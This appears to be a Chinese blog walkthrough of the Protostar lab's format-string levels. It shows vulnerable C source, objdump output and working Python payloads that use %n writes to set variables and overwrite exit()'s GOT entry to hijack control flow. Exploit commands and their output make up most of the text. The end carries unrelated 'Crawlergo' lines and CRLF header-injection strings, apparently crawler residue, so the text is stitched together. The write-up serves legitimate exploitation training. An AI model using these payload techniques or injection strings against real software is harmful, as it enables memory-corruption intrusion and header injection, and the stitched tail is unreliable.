protostar通关指南——format系列
format 0
先看源码,已经知道是格式化字符串漏洞了。
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void vuln(char *string)
{
volatile int target;
char buffer[64];
target = 0;
sprintf(buffer, string);
if(target == 0xdeadbeef) {
printf("you have hit the target correctly :)\n");
}
}
int main(int argc, char **argv)
{
vuln(argv[1]);
}
第0关好像没啥难度的样子,只是把接收来的参数通过sprintf()
打印到了buffer
中,所以很容易的就溢出了。
user@protostar:/opt/protostar/bin$ ./format0 `python -c "print 'A'*64 + '\xef\xbe\xad\xde'"`
you have hit the target correctly :)
等等,题目说输入应当小于10字节,好吧,那改一下payload
:
user@protostar:/opt/protostar/bin$ ./format0 `python -c "print '%64d' + '\xef\xbe\xad\xde'"`
you have hit the target correctly :)
搞定。
format 1
这次把target
放到全局变量里了。
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void vuln(char *string)
{
printf(string);
if(target) {
printf("you have modified the target :)\n");
}
}
int main(int argc, char **argv)
{
vuln(argv[1]);
}
通过objdump
可以轻松找到这个全局变量的地址:
user@protostar:/opt/protostar/bin$ objdump -t format1 |grep target
08049638 g O .bss 00000004 target
后来各种构造都不对,z神说可以直接喷。。。
user@protostar:/opt/protostar/bin$ ./format1 `python -c "print ('\x96' + '\x04' + '\x08' + '\x38')*1000 + '%x,'*200+'%n'"` 8804960c,bfffe5f8,8048469,b7fd8304,b7fd7ff4,bfffe5f8,8048435,bfffe7c1,b7ff1040,804845b,b7fd7ff4,8048450,0,bfffe678,b7eadc76,2,bfffe6a4,bfffe6b0,b7fe1848,bfffe660,ffffffff,b7ffeff4,804824d,1,bfffe660,b7ff0626,b7fffab0,b7fe1b28,b7fd7ff4,0,0,bfffe678,47f4957a,6d80e36a,0,0,0,2,8048340,0,b7ff6210,b7eadb9b,b7ffeff4,2,8048340,0,8048361,804841c,2,bfffe6a4,8048450,8048440,b7ff1040,bfffe69c,b7fff8f8,2,bfffe7b7,bfffe7c1,0,bffff9bc,bffff9ca,bffff9d5,bffff9f5,bffffa08,bffffa12,bfffff02,bfffff40,bfffff54,bfffff6b,bfffff7c,bfffff84,bfffff94,bfffffa1,bfffffd4,bfffffe0,0,20,b7fe2414,21,b7fe2000,10,fabfbff,6,1000,11,64,3,8048034,4,20,5,7,7,b7fe3000,8,0,9,8048340,b,3e9,c,0,d,3e9,e,3e9,17,1,19,bfffe79b,1f,bffffff2,f,bfffe7ab,0,0,0,80000000,4a8460fb,6c02dc1c,5a528a1f,69e5766e,363836,0,2e000000,726f662f,3174616d,8049600,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,8049638,you have modified the target :)
瞎了,所以我还是研究一下正常的解法吧。
首先需要确定我们输入的这个字符串在栈中的位置到底在哪里:
user@protostar:/opt/protostar/bin$ ./format1 `python -c "print 'ABCDEFGH'+'%08x.'*128 + '[%08x]'"`
ABCDEFGH0804960c.bffff568.08048469.b7fd8304.b7fd7ff4.bffff568.08048435.bffff72d.b7ff1040.0804845b.b7fd7ff4.08048450.00000000.bffff5e8.b7eadc76.00000002.bffff614.bffff620.b7fe1848.bffff5d0.ffffffff.b7ffeff4.0804824d.00000001.bffff5d0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.00000000.00000000.bffff5e8.13329341.39600551.00000000.00000000.00000000.00000002.08048340.00000000.b7ff6210.b7eadb9b.b7ffeff4.00000002.08048340.00000000.08048361.0804841c.00000002.bffff614.08048450.08048440.b7ff1040.bffff60c.b7fff8f8.00000002.bffff723.bffff72d.00000000.bffff9bc.bffff9ca.bffff9d5.bffff9f5.bffffa08.bffffa12.bfffff02.bfffff40.bfffff54.bfffff6b.bfffff7c.bfffff84.bfffff94.bfffffa1.bfffffd4.bfffffe0.00000000.00000020.b7fe2414.00000021.b7fe2000.00000010.0fabfbff.00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.00000007.00000007.b7fe3000.00000008.00000000.00000009.08048340.0000000b.000003e9.0000000c.00000000.0000000d.000003e9.0000000e.000003e9.00000017.00000001.00000019.bffff70b.0000001f.bffffff2.0000000f.bffff71b.00000000.00000000.00000000.b1000000.39236756.751f766c.1ec47a65.69e90c76.00363836.2e000000.726f662f.3174616d.43424100.47464544.[38302548]
中括号里面的是等下要换成%n
的部分,也就是需要让最后中括号的地址为target
的地址。发现多了一个字节,调整一下。
user@protostar:/opt/protostar/bin$ ./format1 `python -c "print 'ABCDEFGH'+'%08x.'*127 + '[%08x]'"`
ABCDEFGH0804960c.bffff568.08048469.b7fd8304.b7fd7ff4.bffff568.08048435.bffff732.b7ff1040.0804845b.b7fd7ff4.08048450.00000000.bffff5e8.b7eadc76.00000002.bffff614.bffff620.b7fe1848.bffff5d0.ffffffff.b7ffeff4.0804824d.00000001.bffff5d0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.00000000.00000000.bffff5e8.531070f2.7942e6e2.00000000.00000000.00000000.00000002.08048340.00000000.b7ff6210.b7eadb9b.b7ffeff4.00000002.08048340.00000000.08048361.0804841c.00000002.bffff614.08048450.08048440.b7ff1040.bffff60c.b7fff8f8.00000002.bffff728.bffff732.00000000.bffff9bc.bffff9ca.bffff9d5.bffff9f5.bffffa08.bffffa12.bfffff02.bfffff40.bfffff54.bfffff6b.bfffff7c.bfffff84.bfffff94.bfffffa1.bfffffd4.bfffffe0.00000000.00000020.b7fe2414.00000021.b7fe2000.00000010.0fabfbff.00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.00000007.00000007.b7fe3000.00000008.00000000.00000009.08048340.0000000b.000003e9.0000000c.00000000.0000000d.000003e9.0000000e.000003e9.00000017.00000001.00000019.bffff70b.0000001f.bffffff2.0000000f.bffff71b.00000000.00000000.00000000.60000000.489823c7.2bc6d67d.8533470f.69be0466.00363836.00000000.00000000.6f662f2e.74616d72.[42410031]
现在发现中括号里的内容不对了,继续调整:
user@protostar:/opt/protostar/bin$ ./format1 `python -c "print 'ABCDEFGHxx'+'%08x.'*127 + '[%08x]'"`
ABCDEFGHxx0804960c.bffff568.08048469.b7fd8304.b7fd7ff4.bffff568.08048435.bffff730.b7ff1040.0804845b.b7fd7ff4.08048450.00000000.bffff5e8.b7eadc76.00000002.bffff614.bffff620.b7fe1848.bffff5d0.ffffffff.b7ffeff4.0804824d.00000001.bffff5d0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.00000000.00000000.bffff5e8.012afa31.2b786c21.00000000.00000000.00000000.00000002.08048340.00000000.b7ff6210.b7eadb9b.b7ffeff4.00000002.08048340.00000000.08048361.0804841c.00000002.bffff614.08048450.08048440.b7ff1040.bffff60c.b7fff8f8.00000002.bffff726.bffff730.00000000.bffff9bc.bffff9ca.bffff9d5.bffff9f5.bffffa08.bffffa12.bfffff02.bfffff40.bfffff54.bfffff6b.bfffff7c.bfffff84.bfffff94.bfffffa1.bfffffd4.bfffffe0.00000000.00000020.b7fe2414.00000021.b7fe2000.00000010.0fabfbff.00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.00000007.00000007.b7fe3000.00000008.00000000.00000009.08048340.0000000b.000003e9.0000000c.00000000.0000000d.000003e9.0000000e.000003e9.00000017.00000001.00000019.bffff70b.0000001f.bffffff2.0000000f.bffff71b.00000000.00000000.00000000.63000000.0d67187f.a1a77f60.383f4dac.699f6f92.00363836.00000000.2f2e0000.6d726f66.00317461.[44434241]
好了,现在正确了,把ABCD改为地址:
user@protostar:/opt/protostar/bin$ ./format1 `python -c "print '\x38\x96\x04\x08EFGHxx'+'%08x.'*127 + '[%08x]'"`
EFGHxx0804960c.bffff568.08048469.b7fd8304.b7fd7ff4.bffff568.08048435.bffff730.b7ff1040.0804845b.b7fd7ff4.08048450.00000000.bffff5e8.b7eadc76.00000002.bffff614.bffff620.b7fe1848.bffff5d0.ffffffff.b7ffeff4.0804824d.00000001.bffff5d0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.00000000.00000000.bffff5e8.025f88a1.280d1eb1.00000000.00000000.00000000.00000002.08048340.00000000.b7ff6210.b7eadb9b.b7ffeff4.00000002.08048340.00000000.08048361.0804841c.00000002.bffff614.08048450.08048440.b7ff1040.bffff60c.b7fff8f8.00000002.bffff726.bffff730.00000000.bffff9bc.bffff9ca.bffff9d5.bffff9f5.bffffa08.bffffa12.bfffff02.bfffff40.bfffff54.bfffff6b.bfffff7c.bfffff84.bfffff94.bfffffa1.bfffffd4.bfffffe0.00000000.00000020.b7fe2414.00000021.b7fe2000.00000010.0fabfbff.00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.00000007.00000007.b7fe3000.00000008.00000000.00000009.08048340.0000000b.000003e9.0000000c.00000000.0000000d.000003e9.0000000e.000003e9.00000017.00000001.00000019.bffff70b.0000001f.bffffff2.0000000f.bffff71b.00000000.00000000.00000000.57000000.b47eba66.ddef7eda.0e9466de.69b788d1.00363836.00000000.2f2e0000.6d726f66.00317461.[08049638]
最后把中括号里改为%n
user@protostar:/opt/protostar/bin$ ./format1 `python -c "print '\x38\x96\x04\x08EFGHxx'+'%08x.'*127 + '[%08n]'"`
EFGHxx0804960c.bffff568.08048469.b7fd8304.b7fd7ff4.bffff568.08048435.bffff730.b7ff1040.0804845b.b7fd7ff4.08048450.00000000.bffff5e8.b7eadc76.00000002.bffff614.bffff620.b7fe1848.bffff5d0.ffffffff.b7ffeff4.0804824d.00000001.bffff5d0.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.00000000.00000000.bffff5e8.fbb7ffe7.d1e569f7.00000000.00000000.00000000.00000002.08048340.00000000.b7ff6210.b7eadb9b.b7ffeff4.00000002.08048340.00000000.08048361.0804841c.00000002.bffff614.08048450.08048440.b7ff1040.bffff60c.b7fff8f8.00000002.bffff726.bffff730.00000000.bffff9bc.bffff9ca.bffff9d5.bffff9f5.bffffa08.bffffa12.bfffff02.bfffff40.bfffff54.bfffff6b.bfffff7c.bfffff84.bfffff94.bfffffa1.bfffffd4.bfffffe0.00000000.00000020.b7fe2414.00000021.b7fe2000.00000010.0fabfbff.00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.00000007.00000007.b7fe3000.00000008.00000000.00000009.08048340.0000000b.000003e9.0000000c.00000000.0000000d.000003e9.0000000e.000003e9.00000017.00000001.00000019.bffff70b.0000001f.bffffff2.0000000f.bffff71b.00000000.00000000.00000000.a8000000.8f540b22.814c022e.d1600049.69e6dd34.00363836.00000000.2f2e0000.6d726f66.00317461.[]you have modified the target :)
format 2
这个题是上一题的升级版,需要把target
的值设置为64,先找一下target
的地址。
user@protostar:/opt/protostar/bin$ objdump -t format2 | grep target
080496e4 g O .bss 00000004 target
按照和上题同样的方法,先确定%n
的位置。
user@protostar:/opt/protostar/bin$ python -c "print 'AAAA' + '%08x.'*3 + '[%08x]'" | ./format2
AAAA00000200.b7fd8420.bffff624.[41414141]
target is 0 :(
很快就找好了,改成%n看一下是多少。
user@protostar:/opt/protostar/bin$ python -c "print '\xe4\x96\x04\x08' + '%08x.'*3 + '[%08n]'" | ./format2
.00000200.b7fd8420.bffff624.[]
target is 32 :(
是32,题目要求是64,那就再加几个字节吧。
user@protostar:/opt/protostar/bin$ python -c "print '\xe4\x96\x04\x08' + '%08x.'*2 + '%41x' + '[%08n]'" | ./format2
.00000200.b7fd8420. bffff624[]
you have modified the target :)
就算一点一点试也能试出来啊。但是上面那个payload太low了,我们改一下:
user@protostar:/opt/protostar/bin$ python -c "print '\xe4\x96\x04\x08' + '%60u%4\$08n'" | ./format2
. 512
you have modified the target :)
简单解释一下,4\$
,那个$
由于有特殊意义,需要转义一下,这样就是4\$
,这个指的是第4个参数,这里就是我们的那个地址'\xe4\x96\x04\x08'
(不信可以打印四个%08x
看看第四个%08x
是啥。),然后向里面写入数据就是%4\$n
,别忘了$
需要转义,然后再加上08
,就是%4\$08n
,前面加上占位符增加字节数量%60u
,这样就是60
个字节,再加上前面地址的4
个字节,共64
个字节,就可以写入64
了。
format 3
还是写target
,难度又提升了一点点。源码与上一题基本一样,不贴源码了。
首先找到target
的地址:
user@protostar:/opt/protostar/bin$ objdump -t format3 | grep target
080496f4 g O .bss 00000004 target
找到%n
的位置:
user@protostar:/opt/protostar/bin$ python -c "print '\xf4\x96\x04\x08' + '%08x.'*11 + '[%08n]'" | ./format3 00000000.bffff5e0.b7fd7ff4.00000000.00000000.bffff7e8.0804849d.bffff5e0.00000200.b7fd8420.bffff624.[]
target is 00000068 :(
计算一下,现在是4 + 99 + 1 = 0x68
,我们需要0x1025544
,列个式子:
4 + 90 + x + 1 = 0x1025544
4:地址4字节
90:%08x.共9字节,乘以10,共90字节
1:最后的左半边中括号占一个字节
所以需要求解的x就是需要补充的长度
解得x为16930021
,所以最终payload
为:
python -c "print '\xf4\x96\x04\x08' + '%08x.'*10 + '%16930021x' + '[%08n]'" | ./format3
这还算小数字的,如果写地址的话数字更大,需要使用拆分字节的方法进行写入。
user@protostar:/opt/protostar/bin$ python -c "print '\xf4\x96\x04\x08' + '\xf5\x96\x04\x08' + '\xf6\x96\x04\x08' + '\xf7\x96\x04\x08' + '%52u%12\$08n' + '%17u%13\$08n' + '%173u%14\$08n'" | ./format3 0 3221222880 3086843892
you have modified the target :)
这个方法需要比较耐心的分析,需要多次尝试。
format 4
这个题需要改变程序的执行流程了,也就是需要覆盖掉返回地址:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void hello()
{
printf("code execution redirected! you win\n");
_exit(1);
}
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
exit(1);
}
int main(int argc, char **argv)
{
vuln();
}
首先需要确定hello的地址:
080484b4 <hello>:
80484b4: 55 push %ebp
80484b5: 89 e5 mov %esp,%ebp
80484b7: 83 ec 18 sub $0x18,%esp
80484ba: c7 04 24 f0 85 04 08 movl $0x80485f0,(%esp)
80484c1: e8 16 ff ff ff call 80483dc <puts@plt>
80484c6: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80484cd: e8 ea fe ff ff call 80483bc <_exit@plt>
得到地址0x080484b4
,也就是需要将某个地址更改为这个地址。估计是通过修改GOT
来改掉exit
的地址了,先看看情况。
user@protostar:/opt/protostar/bin$ python -c "print 'AAAA' + '%08x.'*3 + '[%08x]'" | ./format4
AAAA00000200.b7fd8420.bffff624.[41414141]
现寻找exit()
在GOT表中的位置:
user@protostar:/opt/protostar/bin$ objdump -TR format4
format4: file format elf32-i386
DYNAMIC SYMBOL TABLE:
00000000 w D *UND* 00000000 __gmon_start__
00000000 DF *UND* 00000000 GLIBC_2.0 fgets
00000000 DF *UND* 00000000 GLIBC_2.0 __libc_start_main
00000000 DF *UND* 00000000 GLIBC_2.0 _exit
00000000 DF *UND* 00000000 GLIBC_2.0 printf
00000000 DF *UND* 00000000 GLIBC_2.0 puts
00000000 DF *UND* 00000000 GLIBC_2.0 exit
080485ec g DO .rodata 00000004 Base _IO_stdin_used
08049730 g DO .bss 00000004 GLIBC_2.0 stdin
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
080496fc R_386_GLOB_DAT __gmon_start__
08049730 R_386_COPY stdin
0804970c R_386_JUMP_SLOT __gmon_start__
08049710 R_386_JUMP_SLOT fgets
08049714 R_386_JUMP_SLOT __libc_start_main
08049718 R_386_JUMP_SLOT _exit
0804971c R_386_JUMP_SLOT printf
08049720 R_386_JUMP_SLOT puts
08049724 R_386_JUMP_SLOT exit
在最后看到了,是0x08049724
,前面hello()
函数的位置也找到了,是0x080484b4
,所以我们把0x08049724
的内容改为0x080484b4
试一下,即调用exit()
的时候会调用到我们的hello()
函数。同样是使用逐个字节填充的方法来写,经过gdb
无数次调试之后,终于写出来payload
。
user@protostar:~$ python -c "print '\x24\x97\x04\x08' + '\x25\x97\x04\x08' + '\x26\x97\x04\x08' + '\x27\x97\x04\x08' + '%164u%4\$08n' + '%208u%5\$08n' + '%128u%6\$08n' + '%260u%7\$08n' " | /opt/protostar/bin/format4
512 3086844960 3221222916 134518564
code execution redirected! you win
Crawlergo
Crawlergo
Crawlergo
CRLF-Header:CRLF-Value
Crawlergo%0d%0aCRLF-Header:CRLF-Value
Crawlergo\r\nCRLF-Header:CRLF-Value
Crawlergo
Crawlergo
Crawlergo
Crawlergo